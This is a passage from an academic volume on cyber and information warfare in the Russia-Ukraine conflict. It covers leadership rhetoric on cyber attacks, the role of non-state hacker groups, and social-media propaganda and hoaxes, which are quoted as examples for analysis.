5 Conclusion The global internet offers military and intelligence agencies the opportunity to expand and enhance IW, and it simultaneously presents their targets and victims with novel challenges.
Russian IW  both in traditional media and in cyberspace tangibly contributed to the successful annexation of Crimea, and is playing an important role in the ongoing crisis in eastern Ukraine.
On balance, this author believes that Russia, and not the West, currently has the lead in contemporary IW.
Unlike propaganda in Soviet times, which was largely a unidirectional, top-down phenomenon, todays IW encompasses a worldwide audience that is both narra- tive-bearing and narrative-developing.
Domestic, diaspora, and foreign audiences interact with current events in real time as they travel through online platforms such as social media.
This dynamic makes it more challenging for propagandists to predict how and where the narrative will evolve, but to some degree it is possible to presume how certain political groups will interpret the narrative and how they will describe it to their followers.
In sum, the traditional fog of war has changed in the internet era.
The ubiq- uity and anonymity of internet communications offer all nations including Russia 46 Markku Lonkila.
Russian Protest On-and Offline: The role of social media in the Moscow opposition demonstrations in De- cember 2011.
UPI FIIA Briefing Papers 98, 2012.
new IW opportunities, even as defenders also have more tools and tactics at their disposal to counter hostile actions.
In Ukraine, con- ventional cyber attacks by Russia were neg- ligible,47 but social media-based, narrative-fo- cused attacks including disinformation have been common.
And while it is possible to counter adversary operations with accurate open source analysis (for journalists,48 scholars, and activists49), this is unfortunately difficult to do in a timely manner.
47 However, even unsophisticated cyber attacks such as DDoS and website defacements tend to garner widespread media ex- posure, and can sow distrust in the security of systems.
This occurred during the invasion of Crimea, when Russia sought to capitalise on events that unfolded far too quickly for methodical information analysis to take place.
48 Jessikka Aro.
Yle Kioski Investigated: This is How Pro-Russia Trolls Manipulate Finns Online  Check the List of Forums Favored by Propagandists.
YLE Kioski, 24 June 2015.
http://kioski.yle.fi/omat/troll-piece-2-english.
49 Sites such as www.stopfake.org were launched inviting people to join the struggle against fake information about events in Ukraine by verifying online allegations.
Stopfake.org.
2015.
Accessed: 14 June 2015.
http://www.stopfake.org Bellingcat kontert Kritik mit neuen Satellitenbildern.
Zeit Online.
12 June 2015.
www.zeit.de/politik/ausland/2015-06/bellingcat-russ- land-mh17-satellitenfotos-manipulation Dmitry Volchek and Claire Bigg.
Ukrainian bloggers use social media to track Rus- sian soldiers fighting in east.
The Guardian, 3 June 2015.
http://www.theguardian.com/world/2015/jun/03/bloggers-social- media-russian-soldiers-fighting-in-ukraine.
In sum, the traditional fog of war has changed in the internet era.
http://kioski.yle.fi/omat/troll-piece-2-english http://www.stopfake.org http://www.zeit.de/politik/ausland/2015-06/bellingcat-russland-mh17-satellitenfotos-manipulation http://www.zeit.de/politik/ausland/2015-06/bellingcat-russland-mh17-satellitenfotos-manipulation http://www.theguardian.com/world/2015/jun/03/bloggers-social-media-russian-soldiers-fighting-in-ukraine http://www.theguardian.com/world/2015/jun/03/bloggers-social-media-russian-soldiers-fighting-in-ukraine 95 Missing in Action: Rhetoric on Cyber Warfare Liisa Past NATO CCD COE 1 Introduction In the Russo-Ukrainian conflict, there has been much talk of hybrid warfare, encompassing every aspect of war including cyber operations.
Much of cyber operations is classified and hidden from public view, but there are numerous ways in which information becomes known, including via intelligence leaks and open source analysis.
This chapter focuses on leadership communications and what they can tell us about conflict in cyberspace.
In geopolitics, heads of state are the ultimate decision-makers, especially during a national security crisis.
Leaders are expected to show rhetorical as well as execu- tive leadership.
The media takes it from there, but the public still struggles to find a consistent evaluation, primarily relying on experts and opinion leaders.1 As the head of state seeks his or her rally around the president moment,2 domestic and international observers analyse their explanations and emotions  as well as their proffered initiatives and guidance.3 From a national podium, heads of state have an inherent advantage, as their arguments are more likely to resonate with the public than the opinions of leaders voicing a more local outlook.4 Communication and discourse analysis in international affairs rests on the idea that language cannot be taken at face value.
Words carry definitional meaning, but dif- 1 Timothy E Cook.
Governing with the News (Chicago and London: University of Chicago Press, 1998).
2 Birgitte Lebens Nacos.
Terrorism and the Media: From the Iran Hostage Crisis to the Oklahoma City Bombing (New York: Co- lumbia University Press, 1996).
3 Jeffrey E Cohen.
Presidential Responsiveness and Public Policy-Making, The Public and the Policies That Presidents Choose (Ann Arbor: The University of Michigan Press, 1997).
4 Ibid, 32.
Chapter 11 96 ferent audiences will perceive them differently.
Critical analysis can yield insight into the true beliefs and motivations of any speaker, including policy-makers.
Meaning is mediated through language5 and all words have social values6 that vary with context.
This chapter analyses Russian and Ukrainian leadership statements, speeches, press releases and other rhetoric from 2014 and 2015, especially the English-lan- guage elements, written for a global audience and printed in international media.
The author also searched major international news outlets for the keywords Ukraine, Russia, cyber, and information warfare.
In all cases, focus remained on the rhetoric attributable to a head of state or other high-level political player,7 with an eye toward uncovering their underlying motivations, beliefs, and ideologies.
2 Analytical Focus This analysis is designed to yield insight into numerous areas of international con- cern.
Above all, the world would like to understand more about the emerging threat of cyber warfare.
New developments in research and technology, as well as in the means and methods of war, are usually far ahead of their codification in doctrine.
Computer network operations fit nicely within the concept of hybrid warfare that has been so characteristic of the Russo-Ukrainian conflict.
Cyber attacks are similar to covert operations, information operations, denial and deception, false flag and no-flag attacks: they give national command and con- trol structures some degree of plausible deni- ability.
These aspects of war tend to be highly classified therefore, an analysis of political rhet- oric may yield significant insight into what poli- ticians, soldiers and spies simply cannot discuss in public forums, namely, one of the most vex- ing challenges of cyber attacks: attribution.
Political leaders must appeal to the hearts and minds of their domestic and international audiences, with the help of emotional and sometimes long-winded speeches.
National security establishments must provide legal support for their actions through the release of press statements and promulgation of doctrine.
With these in hand, analysts may be able to understand much more about the other- wise covert nature of cyber attacks.
In 2015, Russia has a fairly well-developed mil- itary doctrine on cyber and information warfare, while that of Ukraine is still in its infancy.
This analysis offers a deeper understanding of each nations non-explicit political objectives related to cyber warfare.
5 Henrik Larsen.
Foreign Policy and Discourse Analysis: France, Britain and Europe (London: Routledge advances in Internation- al Relations and Politics, 1997), 11.
6 Ibid, 14.
7 Unfortunately, on the current President of Ukraine website, documents and speeches by former Ukrainian President Viktor Yanukovych cannot be found.
An analysis of political rhetoric may yield signif- icant insight into what politicians cannot dis- cuss in public forums.
97 3 Russia Since the turn of the century, Russia has been publicly admiring European values while simultaneously emphasising sovereignty and a strong national defence.8 Mos- cow insists that each nation in the region should be given a right to experiment with its own democratic model that fits its national and international conditions.9 This tension may only grow stronger with time, and we may see further Russian moves away from shared values in the future as Moscow confronts not only Ukraine but also the West more generally, including in Syria.
Regarding Ukraine, Russia insists it is a bystander and even a victim.
Putin said, There are still many threats andchallenges intheworld today.
Asyou may know, inEurope, militant nationalism is raising its head here andthere theone that once led totheappearance oftheNazi ideology.
Iwill not dwell oneach ofthehotspots separately  we all know where the danger is.
Incidentally, the situation in our neighbouring brotherly Ukraine is anexample ofthedisaster andloss such anirre- sponsible policy can bring about.10 In explaining Gazproms tough stance vis--vis Ukraine, for example, Putin has argued that there was no other choice but to take a hard line against Kyiv,11 again placing Russia as a bystander, not an active party.
Putin has consistently delegitimised Poroshenkos government: There can only be one assessment: this was ananti-constitutional takeover, anarmed seizure ofpower [that] significantly destabilised theeast andsouth- east of Ukraine [] we see the rampage of reactionary forces, nationalist andanti-Semitic forces going onincertain parts ofUkraine, including Kyiv [] Are thecurrent authorities legitimate?
TheParliament is partially, but all theothers are not.
Thecurrent Acting President is definitely not legitimate [] one set ofthieves [is] being replaced byanother.
[]
We will not fight with theUkrainian people [but] Ido not have apartner atthetop level there.12 Throughout the Ukraine crisis which began in 2014, Vladimir Putin has not once used the word cyber.
This does not signify a lack of interest in the subject, or that Russia has not engaged in computer network operations, but it does demonstrate a preference not to discuss the issue, which in turn likely means that cyber warfare as a distinct form of attack, from 8 Andrei P. Tsygankov.
Russias Foreign Policy: Change and Continuity in National Identity (Rowman  Littlefield Publishers, 2013), 181.
9 Ibid.
10 Meeting with Presidents of Armenia, Belarus, Kyrgyzstan and Tajikistan Website of the President of Russia, 8 May 2014), http://en.kremlin.ru/events/president/news/20980.
11 Message to the leaders of European countries regarding the supply and transit of Russian gas across the territory of Ukraine Website of the President of Russia, 15 May 2014, http://en.kremlin.ru/events/president/news/page/82.
12 Vladimir Putin answered journalists questions on the situation in Ukraine Website of the President of Russia 3 April 2014), http://en.kremlin.ru/events/president/news/20366.
Throughout the Ukraine cri- sis, Vladimir Putin has not once used the word cyber.
98 Russias perspective, has not played a major role in the Ukraine conflict.
There have been some commercial reports alleging specific Russian cyber attacks, such as that by the security firm FireEye,13 but these are typically dismissed as Western propa- ganda.
According to Kremlin spokesman Dmitry Peskov, We know that blaming Russia for everything has turned into a sport.14 Putin did refer to the stories about phone hacking and surveillance of top politi- cians, which were prominent in the news in 2014: As for the facts of cyber espionage that you mentioned, it not only amounts to overt hypocrisy in relationships between allies and partners, but also a direct violation of the states sovereignty, an infringement on human rights and an invasion of privacy.
We are looking forward to jointly developing an interna- tional information security system.15 This quote may indicate an underlying assumption of Russian doctrine: today, everyone is spying on everyone, there are currently no acceptable international laws to govern such activities in cyberspace, and Russia must be a part of any credible effort to develop such norms.
Although Russia claims not to be directly involved in the Ukraine conflict, Mos- cow still wants to direct its peace-making efforts.
Putin has championed a consid- eration of Ukraines eastern regions16 has produced a diplomatic solution called the Putin Plan17 and gave the instruction to hold consultations with foreign partners, including the IMF and the G8 countries, on organising financial assistance for Ukraine.18 4 Ukraine Many of these quotes came from the President of Russias website, and are directly attributable to Vladimir Putin.
However, most of the conflict-related quotes in this section  from the President of Ukraines website  are from news articles and press releases that quote Ukrainian President Petro Poroshenko.
Unlike on the Russian site, full-length Ukrainian speeches are a smaller proportion of the presidential communications.
That said, Ukraine has been much clearer than Russia in identify- 13 APT28  A Window Into Russias Cyber Espionage Operations?
FireEye, https://www2.fireeye.com/apt28.html.
14 Owen Matthews.
Russia leading the way in the cyber arms race, Irish Examiner, 13 June 2015, http://www.irishexaminer.com/ lifestyle/features/big-read-russia-leading-the-way-in-the-cyber-arms-race-336675.html.
15 Interview to Prensa Latina and ITAR-TASS Website of the President of Russia, 11 July 2014, http://en.kremlin.ru/events/ president/news/46190.
16 On the start of contacts with Ukraines Choice public movement in Donetsk and Lugansk Website of the President of Russia, 22 June 2014, http://en.kremlin.ru/events/president/news.
17 The Putin Plan for settling the conflict in Ukraine Website of the President of Russia, 3 September 2014, http://en.kremlin.
ru/events/president/news/46554.
18 Instructions regarding the situation in Ukraine Website of the President of Russia, 27 February 2014, http://en.kremlin.ru/ events/president/news/20347.
99 ing cyberspace as a separate and active domain of conflict.
Various terms have been used, such as cyber security,19 informational cyber-security system of Ukraine,20 and cyber and informa- tion security.21 These terms may refer to slightly different things at different times, but in general, there was more cyber war- fare-related content to analyse.
From the beginning of the conflict, Ukraine has suffered a variety of network attacks.
In February 2014, the Ukrainian telecommunications firm Ukrtelecom reported that unknown people22 had damaged a fibre backbone cable that resulted in the loss of communication between Crimea and the rest of Ukraine.
Not long after, Ukrainian security chief Valentyn Nalivaichenko announced, I confirm that an ... attack is under way on mobile phones of members of the Ukrainian parlia- ment for the second day in a row.23 The most sophisticated attack came against the Ukrainian Central Election Commission (CEC) during Ukraines Presidential elec- tions.24 However, there was no official attribution for any of these attacks provided by the government in Kyiv.
There were at least two cases of cyber attack attribution, both to Russia.
The Security Service of Ukraine linked the disruption of mobile communications and the defacement of websites to pro-Russian hackers and to pro-Russian forces in Crimea.
There was no direct link made to Moscow, perhaps in part because the IP-telephonic attack was aimed at top Ukrainian politicians irrespective of their political allegiance.25 On another occasion, when the hacktivist group CyberBerkut claimed responsibility for an attack on German government websites, Ukrainian Prime Minister Arseny Yatseniuk placed the blame on Russian intelligence: I strongly recommend that the Russian secret services stop spending taxpayer money for cyberattacks against the Bundestag and Chancellor Merkels office.26 In the case of downed Malaysian airliner MH17, which Poroshenko called ter- rorism,27 the President stated that The State Security Service of Ukraine has inter- 19 President met with U.S. Congress delegation, Office of the President of Ukraine, 6 August 2014 http://www.president.gov.ua/ en/news/prezident-zustrivsya-z-delegaciyeyu-kongresu-ssha-35766.
20 NSDC decision: Ukraine asks the UN, NATO, EU, OSCE and strategic partners for help, Office of the President of Ukraine, 28 August 2014, http://www.president.gov.ua/en/news/ukrayina-zvertayetsya-za-dopomogoyu-do-oon-nato-yes-ob- sye-de-33573.
21 Presidents of Ukraine and Lithuania have held the Seventh session of the Council of Presidents Office of the President of Ukraine, 24 November 2014.
http://www.president.gov.ua/en/news/prezidenti-ukrayini-i-litvi-proveli-some-zasidannya-ra- di-pre-34105.
22 Ukrtelecom.
Ukrtelecoms Crimean sub-branches officially report that unknown people have seized several telecommunica- tions nodes in the Crimea, 28 February 2014, http://en.ukrtelecom.ua/about/news?id120467.
23 Dave Lee.
Russia and Ukraine in cyber stand-off , BBC News, 5 March 2014 http://www.bbc.com/news/technology-26447200.
24 SRK/NN/SS, Hackers attack Ukraine election website, PressTV, 25 October 2014, http://www.presstv.com/de- tail/2014/10/25/383623/ukraines-election-website-hacked.
25 Max Smolaks.
Security Service Of Ukraine Claims Politicians Phones Are Under Attack, TechWeek Europe, 4 March 2014, http://www.techweekeurope.co.uk/workspace/security-service-ukraine-claims-politicians-phones-attack-140643.
26 Erik Kirscbaum.
Ukraine says Russia behind cyber attack on German government, Reuters, 8 January 2015, http://www.
reuters.com/article/2015/01/08/us-germany-cyberattack-idUSKBN0KH0IY20150108.
27 Address of the President on the occasion of the crash of Malaysia Airlines aircraft, Office of the President of Ukraine, 18 July 2014, http://www.president.gov.ua/en/news/zvernennya-prezidenta-z-privodu-tragediyi-z-litakom-aviakomp-33262.
Ukraine has been much clearer than Russia in identi- fying cyberspace as a separate and active domain of conflict.
100 cepted a conversation in which one of the leaders of the mercenaries boasted about bringing down the plane in his reporting to his Russian supervisor, a colonel of the General Intelligence Unit of Russias Armed Forces28 and terrorists have already declared their desire to hide the evidence and transport the aircrafts black boxes to Moscow.29 In eastern Ukraine, Poroshenko contends that the separatist movement is fully controlled by Russian leadership30 and even in government-controlled territory, he announced that [t]he Security Service of Ukraine unmasked and neutralised the terrorist group coordinated by special forces of the Russian Federation.31 To international audiences, Poroshenko has focused primarily on the broader topic of hybrid warfare, taking care to fit within the narratives and terminology of the West.
At the 2015 Munich Security Conference, he said that [f]or over a year Ukraine has been facing dramatic conse- quences of an undeclared hybrid warfare.
It is very important that the states in the region devote more attention to hybrid threats.
[]
Today, a former strategic partner is waging a hybrid war against a sovereign state, a co-founder of the United Nations.
Mounds of lies and propaganda have been heaped into a wall of hatred, erected between two once friendly nations.32 While analysts have yet to agree on a common definition of hybrid warfare, it certainly encompasses Internet-based pro- paganda, information operations, and computer hacking.
Looking toward the future, Poroshenko has positioned himself as a President of Peace33 on the forefront of the global fight for democracy.34 Russia is the clear antag- onist: all military threats and challenges are related to Russia,35 and Moscows war has brought Ukraine to the brink of its survival.36 Poroshenko argues that not just Ukraine, but the whole world needs a resolution to this conflict,37 and that democ- racies must support each other.38 Ultimately, Ukraines national security goal is full 28 Ibid.
29 Ibid.
30 Presidents statement on ceasefire from February 15, Office of the President of Ukraine, 15 February 2015, http://www.presi- dent.gov.ua/en/news/zayava-prezidenta-pro-pripinennya-vognyu-z-0000-15-lyutogo-34723.
31 Head of the Security Service of Ukraine reports to the President: Terrorist group coordinated by Russian special forces was neutralized, Office of the President of Ukraine, 16 August 2014, http://www.president.gov.ua/en/news/zneshkodzheno-teror- istichnu-grupu-yaku-koordinuvali-specsluz-33478.
32 Speech by President of Ukraine Petro Poroshenko at the Munich Security conference, Office of the President of Ukraine, 7 Feb- ruary 2015, http://www.president.gov.ua/en/news/vistup-prezidenta-ukrayini-petra-poroshenka-na-myunhenskij-k-34663.
33 Petro Poroshenko.
Speech by President of Ukraine Petro Poroshenko at the Munich Security Conference 2015.
34 Petro Poroshenko.
Address by the President of Ukraine Petro Poroshenko to the Joint Session of the United States Congress, 18 September 2014, http://www.president.gov.ua/en/news/vistup-prezidenta-ukrayini-petra-poroshenka-na-spilnij-sesiy-33718.
35 President: New Military Doctrine is based on the duration of threat from Russia and demands full compatibility of the Armed Forces with NATO standards, Office of the President of Ukraine, 2 September 2015, http://www.president.gov.ua/en/news/ nova-voyenna-doktrina-vihodit-z-trivalosti-zagrozi-z-boku-ro-35907.
36 Ibid.
37 Petro Poroshenko.
Presidents statement on ceasefire from February 15 2015.
38 Petro Poroshenko.
Address by the President of Ukraine Petro Poroshenko to the Joint Session of the United States Congress 2014.
To international audiences, Poroshenko has focused pri- marily on the broader topic of hybrid warfare.
101 NATO membership.39 The President asserted that Ukraine is not a NATO member now.
Unfortunately, we are not allies de jure.
Yet, de facto we are more than just partners  Ukraine is the eastern outpost of Euro-Atlantic civilisation, which is now defending not only sovereignty, territorial integrity and independence of our country.40 5 The Role of Non-state Actors In the cyber domain, non-state, sometimes anonymous actors can play a significant role in any conflict.
During the Ukraine crisis, numerous groups such as Cyber- Berkut have positioned themselves as independent, Internet-based guerrillas, and to some degree they have influenced the course of events.
In general, there is too little public information available for analysts to determine if any of these non-state actors has a direct or indirect government connection.
In Ukraine, one of the most prominent non-state cyber leaders is Eugene Dokunin, who describes himself as a lone wolf waging a furious battle against the thousands of paid hackers and trolls in Russia.41 Whereas governments may not boast about their achievements, rogue actors do.
Dokunins group claims to have blocked more than 170 PayPal and other online accounts belonging to separatists, and frozen almost 3 million of their cash.
In one attack, they compromised net- worked printers in separatist regions, forcing them to spew out documents glorify- ing Ukraine, as well as the popular chant Putin is a dick, which is sung in football stadiums across Ukraine.42 Dokunin reserves some of his ire for the sitting govern- ment in Kyiv: The Ukrainian Government hasnt invested a cent in cyber warfare, even though this is also an information war.
6 Conclusion Communication analysis reveals that both Putin and Poroshenko have adopted similar rhetorical strategies  good vs. evil and us vs. them  in an effort to rally citizens around the flag.
They emphasise the righteous nature of their cause, their leadership in working toward a solution, and other countries approval of their political stances.
This is an exercise in national identity building, while portraying the adversary as illegitimate, dangerous, and even terrorist in nature.
To resolve the 39 Speech by President of Ukraine Petro Poroshenko at the session of the National Security and Defense Council of Ukraine with participation of NATO Secretary General Jens Stoltenberg, Office of the President of Ukraine, 22 September 2015, http://www.
president.gov.ua/en/news/vistup-prezidenta-ukrayini-poporoshenka-na-zasidanni-radi-na-36007.
40 Petro Poroshenko.
Speech by President of Ukraine Petro Poroshenko at the session of the National Security and Defense Council of Ukraine with participation of NATO Secretary General Jens Stoltenberg, 2015.
41 Vijai Maheshwari.
Ukraines Lonely Cyberwarrior vs. Russia, The Daily Beast, 18 February 2015, http://www.thedailybeast.
com/articles/2015/02/18/ukraine-s-lonely-cyber-warrior.html.
42 Ibid.
situation, Russia has offered its services as an indispensable negotiator.
By con- trast, Ukraine has oriented its national strategy to the West and to NATO.
Russia has focussed on national interests, while Ukraine has appealed to the international community for understanding and support.
Even while Russia and Ukraine have been engaged in a modern, hot military conflict, its leaders have shed very little light on cyber warfare.
Russia has referred to it only in high-level, diplomatic terms.
Ukraine, despite the fact that it has suffered numerous cyber attacks, primarily frames the issue within the larger concept of hybrid warfare.
Neither country denies that cyberspace is now a theatre of warfare, or that it is part of the Ukrainian conflict, but neither has argued that cyberspace is an integral aspect of it.
And for the most part, this echoes the sentiments of other authors and chapters in this volume.
Russia has focussed on national interests, while Ukraine has appealed to the international community.
103 Strategic Communications and Social Media in the Russia Ukraine Conflict Elina Lange-Ionatamishvili Sanda Svetoka NATO Strategic Communications Centre of Excellence 1 Introduction The new information environment has changed the nature of warfare.
The events in south-east Ukraine have demonstrated that a conflict can be won without firing a single shot and some of the key battles can take place in the cyber and communi- cations domains rather than on the land, air and sea.
As Thomas Elkjer Nissen said in his recent book, the internet, cyber- space, and social media can be used to collect intelligence or even to target peo- ple and organisations.
Such tactics may be employed in isolation, but they are much more likely to be an integral part of a larger strategy.1 The operation for the take-over of Crimea was a particularly bold example of an influence operation where the traditional role of conventional forces was mini- 1 Thomas Elkjer Nissen.
TheWeaponizationOfSocialMedia.
Characteristics_of_ Contemporary_Conflicts.
Copenhagen: Royal Danish Defence College, 2015.
Chapter 12 Key battles can take place in the cyber and communica- tions domains rather than on the land, air and sea.
104 mised.
As the conflict continues to develop in the east of Ukraine, Russia continues to exploit the opportunities offered by new technologies and the new information environment.
It does so with the purpose of influencing the hearts and minds of its audiences: if Russia succeeds in mobilising its supporters, demonising its enemy, demoralising its enemys government and armed forces, and legitimising its own actions, then really there is no need for conventional fighting in order to subdue Ukraine.
In the modern-day operations cyberspace plays an increasingly important role.
A targeted attack by an adversary in the cyber environment is often understood as an attack on the computerised systems which help us run our daily lives and busi- nesses, sustain critical infrastructure and conduct financial transactions amongst other things.
As the former White House advisor Richard Clarke writes, a cyber-at- tack can mean that these vital systems go down and we see exploding oil refineries, derailing trains, runaway satellites, food shortages, and much more.2 But what we do not often realise is that we can be attacked in the cyber environment by an adver- sary presenting manipulative information to us with the intent to affect our percep- tion of the situation and our decision-making, and provoke some resulting action.
The real-life consequences of this soft cyber-attack can be as severe as an attack on a critical infrastructure.
2 Strategic Communications and Cyberspace Strategic Communications (StratCom) is a mind-set which implies placing commu- nications at the heart of a strategy.
It means that our activity is narrative-driven and we communicate it to different audiences through coordinated words, images and deeds.
Cyberspace plays an increasingly important role in StratCom as our depen- dency on modern technologies, computer networks and the internet grows day by day.
We use it for receiving and conveying information, for coordinating our actions and also for analysing the environment around us in order to detect and evaluate potential threats.
Cyberspace is often used in a conflict in order to take out the communications systems of an adversary.
However, the conflict in Ukraine has demonstrated that cyberspace can also play a role in conducting a narrative-driven operation where the main targets are not the machines or networks but the minds of the people.
The internet and social media, due to their ability to multiply information at high speed and at little cost, are increasingly used for propaganda, information war- fare, and influence operations, all of which can tangibly change both the perception and behaviour of the target audience.
It is a highly dynamic, user-driven, constantly changing environment where it is easy to get a message to go viral, and also difficult 2 Richard A. Clarke and Robert Knake.
Cyber War: The Next Threat to National Security and What to Do About It.
New York: HarperCollins, 2011.
105 to track the initial source of information, verify its authenticity, and separate fact from fiction.
With the increasing popularity of social media platforms, the concept of social cyber attack is gaining traction.3 It allows for a low-cost, speedy way of manipu- lating societys perceptions in order to cause disruptive behaviour in real life.
The social cyber attacks observed during the crisis in Ukraine led to an assumption that at least part of them were implemented in an organised way, as part of a larger influ- ence strategy.
3 Psychological Operations (PSYOPS) and Social Media Psychological Operations (PSYOPS) is a military activity which is aimed at influenc- ing the perceptions, attitudes and behaviours of target populations.
The perception is usually affected by either emotional appeals or rational arguments, corresponding to the master narrative, and in social media, where one has to compete with a flood of information and large amounts of information noise, elements like surprise, cog- nitive dissonance, easily recognisable symbols or some eye-catching techniques are used in order to draw the audience into the PSYOPS product.
In PSYOPS the influence over a target group is often achieved by spreading rumours.
Those can be: Hate rumours: exploit ingrained dislikes and prejudices of a target population.
Fear rumours: exploit a human tendency to believe the worst.
Hope rumours: exploit wishes for a favourable turn of events.
Modern technology allows particularly easy exploitation of digital material in order to produce falsified or ambiguous content which can be used for deception and manipulation.
Textual messages (posts, status updates, comments) can also be crafted according to the same principles.
Social media provides fruitful soil for PSYOPS as it is largely a trust-based net- work since it is formed on a networks of friends or like-minded group members.
Hence the information coming from an individual or group can be more trusted than that coming from an official mass-media outlet or government communica- tors.
This trust can be manipulated to achieve particular effects.
It allows targeting of groups of people connected by certain social ties which increases the chance of the desired effect on perception and behaviour.
It is also very easy to hide the real identity or original source of information on social media as well as manipulate digital data such as imagery.
Hence the concept 3 Rebecca Goolsby.
On Cybersecurity, Crowdsourcing and Social Cyber-Attack.
Washington: Wilson Center.
U.S. Office of Naval Research, 2013.
106 of social cyber attack becomes increasingly important as it is based on manipulated information being spread under false identities to networks of users.
4 Understanding Social Cyber Attacks A social cyber attack, as defined by Dr Rebecca Goolsby, involves acting under false pretences or anonymously, by either releasing a manipulated signal into the social media or by manipulating an existing signal in order to achieve the desired effects: chaos, panic, mass disorders.
This type of cyber attack offers a different view to the traditional views on attacks in the cyber environment, as the effects of these attacks are purely psychological.
Spreading rumours is one of the most effective tactics of the social cyber attack, as those can create fear, hate or unfounded hope in the target audience which will most likely result in real-life action: for example, mass protests, withdrawing money from banks, or organised attacks on certain groups or individuals whose image has been portrayed as the enemy.4 Social cyber attack can also involve traditional hacking if the information to be manipulated and released needs to be obtained or published this way.
Since the concept of the social cyber attack is very new, it is often difficult to determine what activity should be classified as one.
One might argue that the key component to social cyber attack is the narrative which drives it.
The actions by the pro-Russian Cyber Berkut () and its nemesis, the pro-Ukrainian Cyber Hundred () can serve as examples.
Cyber Berkut is frequently in the news, propagating the Russian political nar- rative as well as hacking both the Ukrainian Government and other countries.
The group successfully attacked and defaced the websites of the North Atlantic Treaty Organisation (NATO) and the NATO Cooperative Cyber Defence Centre of Excel- lence (NATO CCD COE), claiming that its activities were in retaliation for NATO support for Ukraine.5 However, the key to Cyber Berkuts activities is the narrative which it uses to justify and promote its activities.
Cyber Berkut claimed credit on its social networking site VKontakte page for hacking electronic advertising billboards in the centre of Kyiv prior to a Ukrainian parliamentary election on 24 October 2014, displaying videos of numerous prominent Ukrainian politicians and labelling them war criminals:2 [English translation] We Cyber Berkut intend to use every opportunity to defend the interests of Ukrainian citizens from the arbitrariness of nationalist 4 Ibid.
5 The post and video can be found here: http://vk.com/wall-67432779_14678 Spreading rumours is one of the most effective tactics of social cyber attack.
http://vk.com/wall-67432779_14678 107 fringe and the oligarchic elite Today, we have used a few dozen billboards in Kyiv, Ukraine to remind people about the futility of farcical elections We reiterate once again that no one will change our lives for us.
If the people will continue to hope that the authorities in the offices there are people concerned about the problems of ordinary citizens, Ukraine will be more immersed in the chaos of civil war.
The United States and the West first brought into the government people who are ready to sell our country to please their owners, and now want to put the same traitors in Parliament.
Today, everyone has to realise that his decision depends the future of our country, and the sooner we crack down on neo-Nazi government and deputies, who are just cashing in on this war, the sooner the countrys peace and order.
This narrative was also spread on social media networks.
Analysing this state- ment, one can identify clear attempts to construe enemy images of the Ukrainian Government and induce fear in the population by calling it neo-Nazi and threaten- ing chaos and civil war.
The hacking of the billboards had no other meaning than to conduct a social cyber attack by propagating this narrative and spreading rumours through manipulated information.
5 Social Media in the Russian-Ukrainian Conflict During the war in Ukraine, social media has become home to intense conflict-re- lated information updates, impassioned arguments, and debate.6 The social media space has been abused, and pro-Russian forces have given the world a masterclass.
At the beginning of the conflict, we saw strategic communications in action.
Over Twitter and YouTube, unknown attackers released an intercepted phone con- versation between the U.S. Assistant Secretary of State Victoria Nuland and Geof- frey Pyatt, the U.S.
Ambassador to Ukraine.7 In one stroke, the perpetrators sought to discredit Western policy and to announce their access to Western lines of gov- ernment communication.
Thus we saw both a technical exploit on an information system and a psychological attack on the West via social media.
During the course of the conflict, Russias narrative has been tightly scripted and disseminated, both on traditional media (in breaking and eyewitness accounts on television) and in cyberspace via social media.
These venues are mutually reinforcing, encompassing older and younger readers with varying degrees of access to technol- ogy.
For example, one can no longer watch Ukrainian television in eastern Ukraine similarly, Russian television channels are no longer available in western Ukraine.
6 See, for example, Irina Anilovskaja.
:
, Alfra Reklama, 2014.
7 Anne Gearan.
In recording of U.S. diplomat, blunt talk on Ukraine Washington Post, 6 February 2014, https://www.washing- tonpost.com/world/national-security/in-purported-recording-of-us-diplomat-blunt-talk-on-ukraine/2014/02/06/518240a4- 8f4b-11e3-84e1-27626c5ef5fb_story.html.
108 On social media, pro-Russian voices have systemically cultivated fear, anxiety, and hate among the ethnically Russian (and other non-Ukrainian populations) of Ukraine.
They have manipulated and distributed images of purported atrocities by the Ukrainian army, including: mass graves of tortured people, civilians used for organ trafficking, burning crops to create a famine, recruiting child soldiers, the use of heavy weapons against civilians, and acts of cannibalism.8 Via social media, such information  whether offered with some evidence or merely in the form of rumours  often criss-crosses the globe in minutes, and a well-organised social media campaign can easily influence a target populations per- ceptions and behaviours.
The Latvian media company LETA conducted an analysis of Twitter posts during the first six months of 2014, and identified an increasing polarisation between pro-Russian and pro-Ukrainian social media users as the conflict escalated, espe- cially following the violence in Odessa.9 The researchers wrote that 12.2 of all tweets related to the conflict in eastern Ukraine were aggressive, dominated by pro-Russian stances, most intense relative to human casualties, and included epi- thets such as fascist and ruscist.10 The conflict in Ukraine has seen numerous social media postings that appear to be deliberately disseminated in order to manipulate people in east- ern Ukraine and beyond.
During the May 2014 violence in Odessa, someone posted the following to Facebook: [English translation] Hello.
My name is Igor Rosovskiy.
I am 39 years old.
I live in the city of Odessa.
I have worked as an emergency physician for 15 years.
Yesterday, as you know, there was a terrible tragedy in our city, some people killed other people.
They killed them in a brutal way by burning them alive, not in a drunken stupor, not to get their grandmothers inher- itance, but because they share the political views of nationalists.
First they brutally beat their victims, then burned them alive.
As a doctor, I rushed to help those whom I could save, but the fighters stopped me.
They didnt let me go to the wounded.
One rudely pushed me, promising that I and other Jews would suffer a similar fate.
I saw a young man I could have saved if I could have taken him to the hospital, but my attempts at persuasion were met with a blow to the face and lost glasses.
In fifteen years I have seen much, but yesterday I wanted to cry, not from the blows and humiliation, 8 More information about the false information related to Russian  Ukrainian can be found at StopFake.org, 21 August 2014, http://www.stopfake.org/en/russia-s-top-100-lies-about-ukraine/ 9 G.C.
Ukraines murky inferno: Odessas fire examined.
The Economist Eastern Approaches blog.
8 May 2014, http://www.econ- omist.com/blogs/easternapproaches/2014/05/odessas-fire-examined.
10 Ruscist is an invented word with offensive meaning, a combination of the words Russian and fascist.
Numerous social media postings appear to be dissem- inated in order to manipulate people in eastern Ukraine.
http://www.stopfake.org/en/russia-s-top-100-lies-about-ukraine/ 109 but from my helplessness in being unable to do anything.
In my city, such things did not happen even during the worst times of Nazi occupation.
I wonder why the world is silent.
The Russian-language social networking website Vkontakte saw more than 5,000 shares of this post within 24 hours, and it was quickly translated into English, Ger- man, and Bulgarian.
However, analysts subsequently discovered that Dr. Rozovs- kiys profile picture was actually that of a dentist from the North Caucasus, and now believe this social media post to be a hoax.11 On 4 June 2014, Pavel Astakhov, the Childrens Ombudsman under the President of the Russian Federation, announced on his Instagram account that more than 7,000 Ukrainian refugees had fled Ukraine and arrived in the Rostov Oblast in the previous 24 hours.
